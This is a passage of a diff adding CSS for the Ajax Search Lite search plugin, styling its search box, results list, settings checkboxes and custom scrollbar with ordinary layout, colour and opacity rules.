220 |
+
}
|
221 |
+
#ajaxsearchliteres .mCSB_container.mCS_no_scrollbar{
|
222 |
+
margin-right:0;
|
223 |
+
}
|
224 |
+
#ajaxsearchliteres .mCustomScrollBox .mCSB_scrollTools{
|
225 |
+
width:16px;
|
226 |
+
height:100%;
|
227 |
+
top:0;
|
228 |
+
right:0;
|
229 |
+
}
|
230 |
+
#ajaxsearchliteres .mCSB_scrollTools .mCSB_draggerContainer{
|
231 |
+
height:100%;
|
232 |
+
-webkit-box-sizing:border-box;
|
233 |
+
-moz-box-sizing:border-box;
|
234 |
+
box-sizing:border-box;
|
235 |
+
}
|
236 |
+
#ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonUp+.mCSB_draggerContainer{
|
237 |
+
padding-bottom:40px;
|
238 |
+
}
|
239 |
+
#ajaxsearchliteres .mCSB_scrollTools .mCSB_draggerRail{
|
240 |
+
width:10px;
|
241 |
+
height:100%;
|
242 |
+
margin:0 auto;
|
243 |
+
-webkit-border-radius:10px;
|
244 |
+
-moz-border-radius:10px;
|
245 |
+
border-radius:10px;
|
246 |
+
}
|
247 |
+
#ajaxsearchliteres .mCSB_scrollTools .mCSB_dragger{
|
248 |
+
cursor:pointer;
|
249 |
+
width:100%;
|
250 |
+
height:30px;
|
251 |
+
}
|
252 |
+
#ajaxsearchliteres .mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar{
|
253 |
+
width:10px;
|
254 |
+
height:100%;
|
255 |
+
margin:0 auto;
|
256 |
+
-webkit-border-radius:10px;
|
257 |
+
-moz-border-radius:10px;
|
258 |
+
border-radius:10px;
|
259 |
+
text-align:center;
|
260 |
+
}
|
261 |
+
#ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonUp,
|
262 |
+
#ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonDown{
|
263 |
+
height:20px;
|
264 |
+
-overflow:hidden;
|
265 |
+
margin:0 auto;
|
266 |
+
cursor:pointer;
|
267 |
+
}
|
268 |
+
#ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonDown{
|
269 |
+
bottom:0;
|
270 |
+
margin-top:-40px;
|
271 |
+
}
|
272 |
+
|
273 |
+
#ajaxsearchliteres .mCSB_horizontal .mCSB_container{
|
274 |
+
height:auto;
|
275 |
+
margin-right:0;
|
276 |
+
margin-bottom:30px;
|
277 |
+
overflow:hidden;
|
278 |
+
}
|
279 |
+
#ajaxsearchliteres .mCSB_horizontal .mCSB_container.mCS_no_scrollbar{
|
280 |
+
margin-bottom:0;
|
281 |
+
}
|
282 |
+
#ajaxsearchliteres .mCSB_horizontal.mCustomScrollBox .mCSB_scrollTools{
|
283 |
+
width:100%;
|
284 |
+
height:16px;
|
285 |
+
top:auto;
|
286 |
+
right:auto;
|
287 |
+
bottom:0;
|
288 |
+
left:0;
|
289 |
+
overflow:hidden;
|
290 |
+
}
|
291 |
+
#ajaxsearchliteres .mCSB_horizontal .mCSB_scrollTools .mCSB_draggerContainer{
|
292 |
+
height:100%;
|
293 |
+
width:auto;
|
294 |
+
-webkit-box-sizing:border-box;
|
295 |
+
-moz-box-sizing:border-box;
|
296 |
+
box-sizing:border-box;
|
297 |
+
overflow:hidden;
|
298 |
+
}
|
299 |
+
#ajaxsearchliteres .mCSB_horizontal .mCSB_scrollTools .mCSB_buttonLeft+.mCSB_draggerContainer{
|
300 |
+
padding-bottom:0;
|
301 |
+
padding-right:20px;
|
302 |
+
}
|
303 |
+
#ajaxsearchliteres .mCSB_horizontal .mCSB_scrollTools .mCSB_draggerRail{
|
304 |
+
width:100%;
|
305 |
+
height:2px;
|
306 |
+
margin:7px 0;
|
307 |
+
-webkit-border-radius:10px;
|
308 |
+
-moz-border-radius:10px;
|
309 |
+
border-radius:10px;
|
310 |
+
}
|
311 |
+
#ajaxsearchliteres .mCSB_horizontal .mCSB_scrollTools .mCSB_dragger{
|
312 |
+
width:30px;
|
313 |
+
height:100%;
|
314 |
+
}
|
315 |
+
#ajaxsearchliteres .mCSB_horizontal .mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar{
|
316 |
+
width:100%;
|
317 |
+
height:4px;
|
318 |
+
margin:6px auto;
|
319 |
+
-webkit-border-radius:10px;
|
320 |
+
-moz-border-radius:10px;
|
321 |
+
border-radius:10px;
|
322 |
+
}
|
323 |
+
#ajaxsearchliteres .mCSB_horizontal .mCSB_scrollTools .mCSB_buttonLeft,
|
324 |
+
#ajaxsearchliteres .mCSB_horizontal .mCSB_scrollTools .mCSB_buttonRight{
|
325 |
+
width:20px;
|
326 |
+
height:100%;
|
327 |
+
overflow:hidden;
|
328 |
+
margin:0 auto;
|
329 |
+
cursor:pointer;
|
330 |
+
float:left;
|
331 |
+
}
|
332 |
+
#ajaxsearchliteres .mCSB_horizontal .mCSB_scrollTools .mCSB_buttonRight{
|
333 |
+
right:0;
|
334 |
+
bottom:auto;
|
335 |
+
margin-left:-40px;
|
336 |
+
margin-top:-16px;
|
337 |
+
float:right;
|
338 |
+
}
|
339 |
+
|
340 |
+
|
341 |
+
#ajaxsearchliteres .mCustomScrollBox .mCSB_scrollTools{
|
342 |
+
opacity:0.75;
|
343 |
+
}
|
344 |
+
#ajaxsearchliteres .mCustomScrollBox:hover .mCSB_scrollTools{
|
345 |
+
opacity:1;
|
346 |
+
}
|
347 |
+
#ajaxsearchliteres .mCSB_scrollTools .mCSB_draggerRail{
|
348 |
+
background:#000; /* rgba fallback */
|
349 |
+
background:rgba(0,0,0,0.4);
|
350 |
+
filter:"alpha(opacity=40)"; -ms-filter:"alpha(opacity=40)"; /* old ie */
|
351 |
+
}
|
352 |
+
#ajaxsearchliteres .mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar{
|
353 |
+
background:#fff; /* rgba fallback */
|
354 |
+
background:rgba(255, 255, 255,0.9);
|
355 |
+
filter:"alpha(opacity=90)"; -ms-filter:"alpha(opacity=90)"; /* old ie */
|
356 |
+
}
|
357 |
+
#ajaxsearchliteres .mCSB_scrollTools .mCSB_dragger:hover .mCSB_dragger_bar{
|
358 |
+
background:rgba(255, 255, 255,0.95);
|
359 |
+
filter:"alpha(opacity=95)"; -ms-filter:"alpha(opacity=95)"; /* old ie */
|
360 |
+
}
|
361 |
+
#ajaxsearchliteres .mCSB_scrollTools .mCSB_dragger:active .mCSB_dragger_bar,
|
362 |
+
#ajaxsearchliteres .mCSB_scrollTools .mCSB_dragger.mCSB_dragger_onDrag .mCSB_dragger_bar{
|
363 |
+
background:rgba(255, 255, 255,1);
|
364 |
+
filter:"alpha(opacity=100)"; -ms-filter:"alpha(opacity=100)"; /* old ie */
|
365 |
+
}
|
366 |
+
#ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonUp,
|
367 |
+
#ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonDown,
|
368 |
+
#ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonLeft,
|
369 |
+
#ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonRight{
|
370 |
+
padding: 10px 0 0 0;
|
371 |
+
background:0;
|
372 |
+
opacity:0.4;
|
373 |
+
filter:"alpha(opacity=40)"; -ms-filter:"alpha(opacity=40)"; /* old ie */
|
374 |
+
}
|
375 |
+
|
376 |
+
#ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonDown { height:0;position: relative; }
|
377 |
+
#ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonDown:after { top: 100%; border: solid transparent; content: " "; height: 0; width: 0; position: absolute;}
|
378 |
+
#ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonDown:after { border-color: rgba(136, 183, 213, 0); border-top-color: #0a3f4d; border-width: 8px; left: 50%; margin-left: -8px; }
|
379 |
+
#ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonUp { position: relative; margin:10px 0 0 0; height: 0; }
|
380 |
+
#ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonUp:after { bottom: 100%; border: solid transparent; content: " "; height: 0; width: 0; position: absolute; }
|
381 |
+
#ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonUp:after { border-color: rgba(136, 183, 213, 0); border-bottom-color: #0a3f4d; border-width: 8px; left: 50%; margin-left: -8px; }
|
382 |
+
|
383 |
+
#ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonUp{
|
384 |
+
background-position:0 0;
|
385 |
+
/*
|
386 |
+
sprites locations are 0 0/-16px 0/-32px 0/-48px 0 (light) and -80px 0/-96px 0/-112px 0/-128px 0 (dark)
|
387 |
+
*/
|
388 |
+
}
|
389 |
+
#ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonDown{
|
390 |
+
background-position:0 -20px;
|
391 |
+
/*
|
392 |
+
sprites locations are 0 -20px/-16px -20px/-32px -20px/-48px -20px (light) and -80px -20px/-96px -20px/-112px -20px/-128px -20px (dark)
|
393 |
+
*/
|
394 |
+
}
|
395 |
+
#ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonLeft{
|
396 |
+
background-position:0 -40px;
|
397 |
+
/*
|
398 |
+
sprites locations are 0 -40px/-20px -40px/-40px -40px/-60px -40px (light) and -80px -40px/-100px -40px/-120px -40px/-140px -40px (dark)
|
399 |
+
*/
|
400 |
+
}
|
401 |
+
#ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonRight{
|
402 |
+
background-position:0 -56px;
|
403 |
+
/*
|
404 |
+
sprites locations are 0 -56px/-20px -56px/-40px -56px/-60px -56px (light) and -80px -56px/-100px -56px/-120px -56px/-140px -56px (dark)
|
405 |
+
*/
|
406 |
+
}
|
407 |
+
#ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonUp:hover,
|
408 |
+
#ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonDown:hover,
|
409 |
+
#ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonLeft:hover,
|
410 |
+
#ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonRight:hover{
|
411 |
+
opacity:0.75;
|
412 |
+
filter:"alpha(opacity=75)"; -ms-filter:"alpha(opacity=75)"; /* old ie */
|
413 |
+
}
|
414 |
+
#ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonUp:active,
|
415 |
+
#ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonDown:active,
|
416 |
+
#ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonLeft:active,
|
417 |
+
#ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonRight:active{
|
418 |
+
opacity:0.9;
|
419 |
+
filter:"alpha(opacity=90)"; -ms-filter:"alpha(opacity=90)"; /* old ie */
|
420 |
+
}
|
421 |
+
|
422 |
+
#ajaxsearchliteres span.highlighted{
|
423 |
+
font-weight: bold;
|
424 |
+
color: #d9312b;
|
425 |
+
background-color: #eee;
|
426 |
+
color: #d9312b;
|
427 |
+
background-color: #eee;
|
428 |
+
}
|
429 |
+
|
430 |
+
#ajaxsearchlitesettings.searchsettings {
|
431 |
+
width: 200px;
|
432 |
+
height: auto;
|
433 |
+
background: #ddd;
|
434 |
+
position: absolute;
|
435 |
+
display: none;
|
436 |
+
z-index: 1101;
|
437 |
+
border-radius: 0 0 3px 3px;
|
438 |
+
box-shadow: 2px 2px 3px -1px #AAAAAA;
|
439 |
+
visibility: hidden;
|
440 |
+
padding: 0 0 8px 0;
|
441 |
+
}
|
442 |
+
|
443 |
+
#ajaxsearchlitesettings.searchsettings .option {
|
444 |
+
margin: 10px;
|
445 |
+
*padding-bottom: 10px;
|
446 |
+
}
|
447 |
+
|
448 |
+
#ajaxsearchlitesettings.searchsettings.ie78 .option {
|
449 |
+
margin-bottom: 0 !important;
|
450 |
+
padding-bottom: 0 !important;
|
451 |
+
}
|
452 |
+
|
453 |
+
#ajaxsearchlitesettings.searchsettings .label {
|
454 |
+
float: left;
|
455 |
+
font-size: 14px;
|
456 |
+
line-height: 24px;
|
457 |
+
margin: 6px 10px 0 0;
|
458 |
+
width: 143px;
|
459 |
+
color: #333;
|
460 |
+
}
|
461 |
+
|
462 |
+
/* SQUARED THREE */
|
463 |
+
#ajaxsearchlitesettings.searchsettings .option input[type=checkbox] {
|
464 |
+
display:none;
|
465 |
+
}
|
466 |
+
|
467 |
+
#ajaxsearchlitesettings.searchsettings.ie78 .option input[type=checkbox] {
|
468 |
+
display:block;
|
469 |
+
}
|
470 |
+
|
471 |
+
#ajaxsearchlitesettings.searchsettings.ie78 .label {
|
472 |
+
float:right !important;
|
473 |
+
}
|
474 |
+
|
475 |
+
#ajaxsearchlitesettings.searchsettings .option {
|
476 |
+
width: 20px;
|
477 |
+
position: relative;
|
478 |
+
float: left;
|
479 |
+
}
|
480 |
+
|
481 |
+
#ajaxsearchlitesettings.searchsettings .option label {
|
482 |
+
cursor: pointer;
|
483 |
+
position: absolute;
|
484 |
+
width: 20px;
|
485 |
+
height: 20px;
|
486 |
+
top: 0;
|
487 |
+
border-radius: 4px;
|
488 |
+
-webkit-box-shadow: inset 0px 1px 1px rgba(0,0,0,0.5), 0px 1px 0px rgba(255,255,255,.4);
|
489 |
+
-moz-box-shadow: inset 0px 1px 1px rgba(0,0,0,0.5), 0px 1px 0px rgba(255,255,255,.4);
|
490 |
+
box-shadow: inset 0px 1px 1px rgba(0,0,0,0.5), 0px 1px 0px rgba(255,255,255,.4);
|
491 |
+
background: #45484d;
|
492 |
+
background: -webkit-linear-gradient(top, #222222 0%, #45484d 100%);
|
493 |
+
background: -moz-linear-gradient(top, #222222 0%, #45484d 100%);
|
494 |
+
background: -o-linear-gradient(top, #222222 0%, #45484d 100%);
|
495 |
+
background: -ms-linear-gradient(top, #222222 0%, #45484d 100%);
|
496 |
+
background: linear-gradient(top, #222222 0%, #45484d 100%);
|
497 |
+
filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#222222', endColorstr='#45484d',GradientType=0 );
|
498 |
+
}
|
499 |
+
|
500 |
+
#ajaxsearchlitesettings.searchsettings.ie78 .option label {
|
501 |
+
display:none;
|
502 |
+
}
|
503 |
+
|
504 |
+
#ajaxsearchlitesettings.searchsettings .option label:after {
|
505 |
+
-ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";
|
506 |
+
filter: alpha(opacity=0);
|
507 |
+
opacity: 0;
|
508 |
+
content: '';
|
509 |
+
position: absolute;
|
510 |
+
width: 9px;
|
511 |
+
height: 5px;
|
512 |
+
background: transparent;
|
513 |
+
top: 4px;
|
514 |
+
left: 4px;
|
515 |
+
border: 3px solid #fcfff4;
|
516 |
+
border-top: none;
|
517 |
+
border-right: none;
|
518 |
+
|
519 |
+
-webkit-transform: rotate(-45deg);
|
520 |
+
-moz-transform: rotate(-45deg);
|
521 |
+
-o-transform: rotate(-45deg);
|
522 |
+
-ms-transform: rotate(-45deg);
|
523 |
+
transform: rotate(-45deg);
|
524 |
+
}
|
525 |
+
|
526 |
+
#ajaxsearchlitesettings.searchsettings.ie78 .option label:after {
|
527 |
+
display:none;
|
528 |
+
}
|
529 |
+
|
530 |
+
#ajaxsearchlitesettings.searchsettings .option label:hover::after {
|
531 |
+
-ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=30)";
|
532 |
+
filter: alpha(opacity=30);
|
533 |
+
opacity: 0.3;
|
534 |
+
}
|
535 |
+
|
536 |
+
#ajaxsearchlitesettings.searchsettings .option input[type=checkbox]:checked + label:after {
|
537 |
+
-ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=100)";
|
538 |
+
filter: alpha(opacity=100);
|
539 |
+
opacity: 1;
|
540 |
+
}
|
541 |
+
|
542 |
+
.clear {
|
543 |
+
clear: both;
|
544 |
+
}
|
545 |
+
|
546 |
+
.hiddend {
|
547 |
+
display:none;
|
548 |
+
}
|
549 |
+
|
550 |
+
#ajaxsearchlite textarea:focus,
|
551 |
+
#ajaxsearchlite input:focus{
|
552 |
+
outline: none;
|
553 |
+
}
|
554 |
+
|
555 |
+
#ajaxsearchlite {
|
556 |
+
width: 100%;
|
557 |
+
height: 40px;
|
558 |
+
border-radius: 5px;
|
559 |
+
background: #d1eaff;
|
560 |
+
background: #c1ecf0;
|
561 |
+
overflow: hidden;
|
562 |
+
border:0px none #000000;border-radius:5px 5px 5px 5px; box-shadow:0px 0px 1px 1px #d2dbd9 ;}
|
563 |
+
|
564 |
+
#ajaxsearchlite .probox {
|
565 |
+
width: auto;
|
566 |
+
margin: 4px;
|
567 |
+
height: 30px;
|
568 |
+
border-radius: 5px;
|
569 |
+
background: #FFF;
|
570 |
+
overflow: hidden;
|
571 |
+
border: 1px solid #FFF;
|
572 |
+
box-shadow: 1px 0 3px #CCCCCC inset;
|
573 |
+
background: #ffffff;
|
574 |
+
border:1px solid #ffffff;border-radius:3px 3px 3px 3px; box-shadow:1px 0px 3px 0px #ccc inset;}
|
575 |
+
|
576 |
+
#ajaxsearchlite .probox .proinput {
|
577 |
+
width: auto;
|
578 |
+
height: 100%;
|
579 |
+
margin: 2px 0px 0px 10px;
|
580 |
+
padding: 5px;
|
581 |
+
float: left;
|
582 |
+
box-shadow: none;
|
583 |
+
font-weight:normal;font-family:'Arial', Helvetica, sans-serif;color:#212121;font-size:12px;line-height:15px;}
|
584 |
+
|
585 |
+
#ajaxsearchlite .probox .proinput input {
|
586 |
+
border: 0px;
|
587 |
+
background: transparent;
|
588 |
+
width: 100%;
|
589 |
+
box-shadow: none;
|
590 |
+
margin: 0;
|
591 |
+
padding: 0;
|
592 |
+
font-weight:normal;font-family:'Arial', Helvetica, sans-serif;color:#212121;font-size:12px;line-height:15px;}
|
593 |
+
|
594 |
+
#ajaxsearchlite .probox .proinput.iepaddingfix {
|
595 |
+
padding-top: 0;
|
596 |
+
}
|
597 |
+
|
598 |
+
#ajaxsearchlite .probox .proinput .loading {
|
599 |
+
width: 32px;
|
600 |
+
background: #000;
|
601 |
+
height: 100%;
|
602 |
+
box-shadow: none;
|
603 |
+
}
|
604 |
+
|
605 |
+
#ajaxsearchlite .probox .proloading,
|
606 |
+
#ajaxsearchlite .probox .promagnifier,
|
607 |
+
#ajaxsearchlite .probox .prosettings {
|
608 |
+
width: 32px;
|
609 |
+
height: 32px;
|
610 |
+
background: none;
|
611 |
+
float: right;
|
612 |
+
box-shadow: none;
|
613 |
+
margin: 0;
|
614 |
+
padding: 0;
|
615 |
+
}
|
616 |
+
|
617 |
+
#ajaxsearchlite .probox .proloading {
|
618 |
+
background: url("../img/loading/loading3.gif") no-repeat;
|
619 |
+
background-position:center center;
|
620 |
+
visibility: hidden;
|
621 |
+
}
|
622 |
+
|
623 |
+
#ajaxsearchlite .probox .promagnifier {
|
624 |
+
background: url("../img/magnifiers/magn3.png") no-repeat #eeeeee;
|
625 |
+
background-position:center center;
|
626 |
+
cursor: pointer;
|
627 |
+
}
|
628 |
+
|
629 |
+
|
630 |
+
#ajaxsearchlite .probox .prosettings {
|
631 |
+
background: url("../img/settings/settings1.png") no-repeat #ddd;
|
632 |
+
background-position:center center;
|
633 |
+
cursor: pointer;
|
634 |
+
}
|
635 |
+
|
636 |
+
#ajaxsearchliteres {
|
637 |
+
padding: 4px;
|
638 |
+
background: #D1EAFF;
|
639 |
+
background: #c1ecf0;
|
640 |
+
border-radius: 3px;
|
641 |
+
border:0px none #000000;border-radius:3px 3px 3px 3px; box-shadow:0px 0px 0px 0px #000000 ; position: absolute;
|
642 |
+
visibility: hidden;
|
643 |
+
z-index:1100;
|
644 |
+
}
|
645 |
+
|
646 |
+
#ajaxsearchliteres .results .nores {
|
647 |
+
overflow: hidden;
|
648 |
+
width: auto;
|
649 |
+
height: 100%;
|
650 |
+
line-height: auto;
|
651 |
+
text-align: center;
|
652 |
+
margin: 0;
|
653 |
+
background: #FFF;
|
654 |
+
}
|
655 |
+
|
656 |
+
#ajaxsearchliteres .results .nores .keyword{
|
657 |
+
padding: 0 6px;
|
658 |
+
cursor: pointer;
|
659 |
+
font-weight:normal;font-family:'Arial', Helvetica, sans-serif;color:#4a4a4a;font-size:13px;line-height:15px; font-weight: bold;
|
660 |
+
}
|
661 |
+
|
662 |
+
#ajaxsearchliteres .results {
|
663 |
+
overflow: hidden;
|
664 |
+
width: auto;
|
665 |
+
height: 0;
|
666 |
+
margin: 0;
|
667 |
+
padding: 0;
|
668 |
+
}
|
669 |
+
|
670 |
+
#ajaxsearchliteres .results .item {
|
671 |
+
overflow: hidden;
|
672 |
+
width: auto;
|
673 |
+
height: 70px;
|
674 |
+
margin: 0;
|
675 |
+
margin-bottom: -3px;
|
676 |
+
padding: 3px;
|
677 |
+
position: relative;
|
678 |
+
background: #f4f4f4;
|
679 |
+
background: #ebebeb;
|
680 |
+
border-radius: 3px;
|
681 |
+
}
|
682 |
+
|
683 |
+
#ajaxsearchliteres .results .item:last-child {
|
684 |
+
margin-bottom: 0px;
|
685 |
+
}
|
686 |
+
|
687 |
+
|
688 |
+
#ajaxsearchliteres .results .item .image {
|
689 |
+
overflow: hidden;
|
690 |
+
width: 70px;
|
691 |
+
height: 70px;
|
692 |
+
background: #000;
|
693 |
+
background: #ffffff;
|
694 |
+
margin: 0;
|
695 |
+
padding: 0;
|
696 |
+
float: left;
|
697 |
+
}
|
698 |
+
|
699 |
+
#ajaxsearchliteres .results .item .content {
|
700 |
+
overflow: hidden;
|
701 |
+
width: 50%;
|
702 |
+
height: 70px;
|
703 |
+
background: #fff;
|
704 |
+
background: #ffffff;
|
705 |
+
margin: 0;
|
706 |
+
padding: 0 10px;
|
707 |
+
float: right;
|
708 |
+
}
|
709 |
+
|
710 |
+
#ajaxsearchliteres .results .item .content h3 {
|
711 |
+
margin: 0;
|
712 |
+
padding: 0;
|
713 |
+
line-height: inherit;
|
714 |
+
font-weight:bold;font-family:'Arial', Helvetica, sans-serif;color:#1454a9;font-size:14px;line-height:15px;}
|
715 |
+
|
716 |
+
#ajaxsearchliteres .results .item .content h3 a span.overlap {
|
717 |
+
position:absolute;
|
718 |
+
width:100%;
|
719 |
+
height:100%;
|
720 |
+
top:0;
|
721 |
+
left: 0;
|
722 |
+
z-index: 1;
|
723 |
+
background-image: url('empty.gif');
|
724 |
+
}
|
725 |
+
|
726 |
+
#ajaxsearchliteres .results .item .content h3 a {
|
727 |
+
margin: 0;
|
728 |
+
padding: 0;
|
729 |
+
line-height: inherit;
|
730 |
+
font-weight:bold;font-family:'Arial', Helvetica, sans-serif;color:#1454a9;font-size:14px;line-height:15px;}
|
731 |
+
|
732 |
+
#ajaxsearchliteres .results .item .content h3 a:hover {
|
733 |
+
font-weight:bold;font-family:'Arial', Helvetica, sans-serif;color:#1454a9;font-size:14px;line-height:15px;}
|
734 |
+
|
735 |
+
#ajaxsearchliteres .results .item div.etc {
|
736 |
+
margin: 2px 3px;
|
737 |
+
padding: 0;
|
738 |
+
line-height: 10px;
|
739 |
+
font-weight:bold;font-family:'Arial', Helvetica, sans-serif;color:#a1a1a1;font-size:12px;line-height:15px;}
|
740 |
+
#ajaxsearchliteres .results .item .etc .author {
|
741 |
+
padding: 0;
|
742 |
+
font-weight:bold;font-family:'Arial', Helvetica, sans-serif;color:#a1a1a1;font-size:12px;line-height:15px;}
|
743 |
+
#ajaxsearchliteres .results .item .etc .date {
|
744 |
+
margin: 0 0 0 10px;
|
745 |
+
padding: 0;
|
746 |
+
font-weight:normal;font-family:'Arial', Helvetica, sans-serif;color:#adadad;font-size:12px;line-height:15px;
|
747 |
+
}
|
748 |
+
#ajaxsearchliteres .resdrg {
|
749 |
+
height: auto;
|
750 |
+
}
|
751 |
+
|
752 |
+
#ajaxsearchliteres .results .item p.desc {
|
753 |
+
margin: 2px 0px;
|
754 |
+
padding: 0;
|
755 |
+
font-weight:normal;font-family:'Arial', Helvetica, sans-serif;color:#4a4a4a;font-size:13px;line-height:15px;}
|
756 |
+
|
757 |
+
#ajaxsearchliteres .mCSB_container{
|
758 |
+
width:auto;
|
759 |
+
margin-right:20px;
|
760 |
+
overflow:hidden;
|
761 |
+
}
|
762 |
+
#ajaxsearchliteres .mCSB_container.mCS_no_scrollbar{
|
763 |
+
margin-right:0;
|
764 |
+
}
|
765 |
+
#ajaxsearchliteres .mCustomScrollBox .mCSB_scrollTools{
|
766 |
+
width:16px;
|
767 |
+
height:100%;
|
768 |
+
top:0;
|
769 |
+
right:0;
|
770 |
+
}
|
771 |
+
#ajaxsearchliteres .mCSB_scrollTools .mCSB_draggerContainer{
|
772 |
+
height:100%;
|
773 |
+
-webkit-box-sizing:border-box;
|
774 |
+
-moz-box-sizing:border-box;
|
775 |
+
box-sizing:border-box;
|
776 |
+
}
|
777 |
+
#ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonUp+.mCSB_draggerContainer{
|
778 |
+
padding-bottom:40px;
|
779 |
+
}
|
780 |
+
#ajaxsearchliteres .mCSB_scrollTools .mCSB_draggerRail{
|
781 |
+
width:10px;
|
782 |
+
height:100%;
|
783 |
+
margin:0 auto;
|
784 |
+
-webkit-border-radius:10px;
|
785 |
+
-moz-border-radius:10px;
|
786 |
+
border-radius:10px;
|
787 |
+
}
|
788 |
+
#ajaxsearchliteres .mCSB_scrollTools .mCSB_dragger{
|
789 |
+
cursor:pointer;
|
790 |
+
width:100%;
|
791 |
+
height:30px;
|
792 |
+
}
|
793 |
+
#ajaxsearchliteres .mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar{
|
794 |
+
width:10px;
|
795 |
+
height:100%;
|
796 |
+
margin:0 auto;
|
797 |
+
-webkit-border-radius:10px;
|
798 |
+
-moz-border-radius:10px;
|
799 |
+
border-radius:10px;
|
800 |
+
text-align:center;
|
801 |
+
}
|
802 |
+
#ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonUp,
|
803 |
+
#ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonDown{
|
804 |
+
height:20px;
|
805 |
+
-overflow:hidden;
|
806 |
+
margin:0 auto;
|
807 |
+
cursor:pointer;
|
808 |
+
}
|
809 |
+
#ajaxsearchliteres .mCSB_scrollTools .mCSB_buttonDown{
|
810 |
+
bottom:0;
|
811 |
+
margin-top:-40px;
|
812 |
+
}
|
813 |
+
|
814 |
+
#ajaxsearchliteres .mCSB_horizontal .mCSB_container{
|
815 |
+
height:auto;
|
816 |
+
margin-right:0;
|
817 |
+
margin-bottom:30px;
|
818 |
+
overflow:hidden;
|
819 |
+
}
|
820 |
+
#ajaxsearchliteres .mCSB_horizontal .mCSB_container.mCS_no_scrollbar{
|
821 |
+
margin-bottom:0;
|
822 |
+
}
|
823 |
+
#ajaxsearchliteres .mCSB_horizontal.mCustomScrollBox .mCSB_scrollTools{
|
824 |
+
width:100%;
|
825 |
+
height:16px;
|
826 |
+
top:auto;
|
827 |
+
right:auto;
|
828 |
+
bottom:0;
|
829 |
+
left:0;
|
830 |
+
overflow:hidden;
|
831 |
+
}
|
832 |
+
#ajaxsearchliteres .mCSB_horizontal .mCSB_scrollTools .mCSB_draggerContainer{
|
833 |
+
height:100%;
|
834 |
+
width:auto;
|
835 |
+
-webkit-box-sizing:border-box;
|
836 |
+
-moz-box-sizing:border-box;
|
837 |
+
box-sizing:border-box;
|
838 |
+
overflow:hidden;
|
839 |
+
}
|
840 |
+
#ajaxsearchliteres .mCSB_horizontal .mCSB_scrollTools .mCSB_buttonLeft+.mCSB_draggerContainer{
|
841 |
+
padding-bottom:0;
|
842 |
+
padding-right:20px;
|
843 |
+
}
|
844 |
+
#ajaxsearchliteres .mCSB_horizontal .mCSB_scrollTools .mCSB_draggerRail{
|
845 |
+
width:100%;
|
846 |
+
height:2px;
|
847 |
+
margin:7px 0;
|
848 |
+
-webkit-border-radius:10px;
|
849 |
+
-moz-border-radius:10px;
|
850 |
+
border-radius:10px;
|
851 |
+
}
|
852 |
+
#ajaxsearchliteres .mCSB_horizontal .mCSB_scrollTools .mCSB_dragger{
|
853 |
+
width:30px;
|
854 |
+
height:100%;
|
855 |
+
}
|
856 |
+
#ajaxsearchliteres .mCSB_horizontal .mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar{
|
857 |
+
width:100%;
|
858 |
+
height:4px;
|
859 |
+
margin:6px auto;
|
860 |
+
-webkit-border-radius:10px;
|
861 |
+
-moz-border-radius:10px;
|
862 |
+
border-radius:10px;
|
863 |
+
}
|
864 |
+
#ajaxsearchliteres .mCSB_horizontal .mCSB_scrollTools .mCSB_buttonLeft,
|
865 |
+
#ajaxsearchliteres .mCSB_horizontal .mCSB_scrollTools .mCSB_buttonRight{
|
866 |
+
width:20px;
|
867 |
+
height:100%;
|
868 |
+
overflow:hidden;
|
869 |
+
margin:0 auto;
|
870 |
+
cursor:pointer;
|
871 |
+
float:left;
|
872 |
+
}
|
873 |
+
#ajaxsearchliteres .mCSB_horizontal .mCSB_scrollTools .mCSB_buttonRight{
|
874 |
+
right:0;
|
875 |
+
bottom:auto;
|
876 |
+
margin-left:-40px;
|
877 |
+
margin-top:-16px;
|
878 |
+
float:right;
|
879 |
+
}
|
880 |
+
|
881 |
+
|
882 |
+
#ajaxsearchliteres .mCustomScrollBox .mCSB_scrollTools{
|
883 |
+
opacity:0.75;
|
884 |
+
}
|
885 |
+
#ajaxsearchliteres .mCustomScrollBox:hover .mCSB_scrollTools{
|
886 |
+
opacity:1;
|
887 |
+
}
|
888 |
+
#ajaxsearchliteres .mCSB_scrollTools .mCSB_draggerRail{
|
889 |
+
background:#000; /* rgba fallback */
|
890 |
+
background:rgba(0,0,0,0.4);
|
891 |
+
filter:"alpha(opacity=40)"; -ms-filter:"alpha(opacity=40)"; /* old ie */
|
892 |
+
}
|
893 |
+
#ajaxsearchliteres .mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar{
|
894 |
+
background:#fff; /* rgba fallback */
|
895 |
+
background:rgba(255, 255, 255,0.9);
|
896 |
+
